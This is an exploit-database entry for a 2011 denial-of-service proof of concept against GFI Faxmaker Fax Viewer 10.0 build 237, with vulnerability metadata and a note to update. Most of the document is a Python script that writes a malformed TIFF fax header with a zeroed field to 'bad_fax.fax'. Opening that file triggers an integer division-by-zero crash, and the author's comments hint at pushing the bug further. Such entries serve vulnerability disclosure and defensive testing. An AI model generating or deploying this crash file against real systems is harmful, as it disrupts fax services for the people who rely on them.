GFI Faxmaker Fax Viewer v10.0[build 237] DoS (Poc)

vendor:

Faxmaker Fax Viewer

by:

loneferret

7.5

CVSS

HIGH

DoS

190

CWE

Product Name: Faxmaker Fax Viewer

Affected Version From: 10.0[build 237]

Affected Version To: 10.0[build 237]

Patch Exists: Yes

Related CWE: N/A

CPE: a:gfi:faxmaker:10.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3 Professional English / Windows 7 Professional 64bit French

2011

GFI Faxmaker Fax Viewer v10.0[build 237] DoS (Poc)

GFI FaxMaker is a market leading fax server software for Exchange Server, Lotus Domino, SMTP/POP3, which makes sending and receiving faxes an efficient, simple and cheaper process. An Integer division by zero error is triggered when opening the fax file, leading to a denial of service.

Mitigation:

Update to the latest version of GFI Faxmaker Fax Viewer.

Source

Exploit-DB raw data:

#!/usr/bin/python
 
# Title: GFI Faxmaker Fax Viewer v10.0[build 237] DoS (Poc).
# From: The eh?-Team || The Great White Fuzz (we're not sure yet)
# Found by: loneferret
# Home: http://www.kioptrix.com
# Manifacturer's link: http://www.gfi.com
  
# Date Found: Oct 28th 2011
# Tested on: Windows XP SP3 Professional English / Windows 7 Professional 64bit French
# Tested with: 32bit & 64bit versions of Faxmaker
# Nod to the Exploit-DB Team

# Software Description:
# GFI FaxMaker is a market leading fax server software for Exchange Server, 
# Lotus Domino, SMTP/POP3, which makes sending and receiving faxes an efficient, 
# simple and cheaper process. GFI FaxMaker allows users to receive and send faxes 
# directly from their email client.

# We get an "Integer division by zero" in Immunity when opening the fax file.
# Nothing fancy, but maybe something can do more... eventually.
# As always, have fun.
# loneferret

head = ("\x49\x49\x2A\x00\x08\x00\x00\x00\x10\x00\xFE\x00\x04"
"\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x01\x03\x00\x01\x00\x00\x00"
"\xC0\x06\x00\x00\x01\x01\x04\x00\x01\x00\x00\x00\x94\x08\x00\x00\x02"
"\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x01\x03\x00\x01\x00"
"\x00\x00\x03\x00\x00\x00\x06\x01\x03\x00\x01\x00\x00\x00\x00\x00\x00"
"\x0A\x01\x03\x00\x01\x00\x00\x00\x02\x00\x00\x00\x11\x01\x04\x00\x01"
"\x00\x00\x00\xDE\x00\x00\x00\x15\x01\x03\x00\x01\x00\x00\x00\x01\x00"
"\x00\x00\x16\x01\x04\x00\x01\x00\x00\x00\x94\x08\x00\x00\x17\x01\x04"
"\x00\x01\x00\x00\x00\xB0\xF8\x00\x00\x1A\x01\x05\x00\x01\x00\x00\x00"
"\xCE\x00\x00\x00\x1B\x01\x05\x00\x01\x00\x00\x00\xD6\x00\x00\x00\x1C"
"\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x24\x01\x04\x00\x01\x00"
"\x00\x00\x04\x00\x00\x00\x28\x01\x03\x00\x01\x00\x00\x00\x02\x00\x00"
"\x00\x00\x00\x00\x00\xCC\x00\x00\x00\x01\x00\x00")

buffer = "\x41" * 5
buffer += "\00" * 4 # <-- " Well there's your problem! "



badfax = head + buffer

file=open('bad_fax.fax','w')
file.write(badfax) 
file.close()